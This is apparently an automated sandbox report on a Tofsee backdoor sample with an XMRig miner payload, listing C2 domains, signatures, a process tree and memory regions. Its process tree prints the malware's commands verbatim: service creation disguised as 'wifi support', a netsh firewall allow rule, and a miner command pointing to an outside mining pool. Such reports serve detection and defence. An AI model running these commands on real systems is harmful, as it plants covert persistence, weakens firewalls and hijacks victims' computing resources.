Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/11/2022, 22:23

General

  • Target
    file.exe
  • Size 240KB
  • Sample221116-2arywadb98
  • SHA256 a04c50d299dc84b6ee6832a17d41c82b0f507101d62089eae19ed367c70e54fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qppkupui\
      2⤵
        PID:3016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe" C:\Windows\SysWOW64\qppkupui\
        2⤵
          PID:2232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qppkupui binPath= "C:\Windows\SysWOW64\qppkupui\qgzxudkj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qppkupui "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qppkupui
          2⤵
          • Launches sc.exe
          PID:4912
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5004
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1404 -s 1032
          2⤵
          • Program crash
          PID:4632
      • C:\Windows\SysWOW64\qppkupui\qgzxudkj.exe
        C:\Windows\SysWOW64\qppkupui\qgzxudkj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:508
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4400
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 512
          2⤵
          • Program crash
          PID:1420
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1404 -ip 1404
        1⤵
          PID:2952
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 508 -ip 508
          1⤵
            PID:2308

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qgzxudkj.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe
                • Size 14.0MB
                • SHA256 c0ea7319ffe1dee63a0ddaefac3eb608f137f82b3c0ef3be25a6c3a51d123f18
                • MD5 SHA1 SHA512 SSDEEP

                qgzxudkj.exe

                • Path C:\Windows\SysWOW64\qppkupui\qgzxudkj.exe
                • Size 14.0MB
                • SHA256 c0ea7319ffe1dee63a0ddaefac3eb608f137f82b3c0ef3be25a6c3a51d123f18
                • MD5 SHA1 SHA512 SSDEEP

                memory/508-151-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/508-146-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/508-145-0x00000000008D2000-0x00000000008E7000-memory.dmp

                memory/1404-144-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/1404-133-0x0000000000950000-0x0000000000963000-memory.dmp

                memory/1404-132-0x0000000000C07000-0x0000000000C1C000-memory.dmp

                memory/1404-135-0x0000000000400000-0x000000000083F000-memory.dmp

                memory/1404-141-0x0000000000950000-0x0000000000963000-memory.dmp

                memory/4028-173-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/4028-178-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/4400-157-0x00000000025B0000-0x00000000025B6000-memory.dmp

                memory/4400-148-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4400-152-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4400-153-0x0000000000F40000-0x0000000000F55000-memory.dmp

                memory/4400-154-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4400-160-0x00000000025C0000-0x00000000025D0000-memory.dmp

                memory/4400-163-0x00000000025D0000-0x00000000025D5000-memory.dmp

                memory/4400-166-0x0000000007D00000-0x000000000810B000-memory.dmp

                memory/4400-169-0x00000000025E0000-0x00000000025E7000-memory.dmp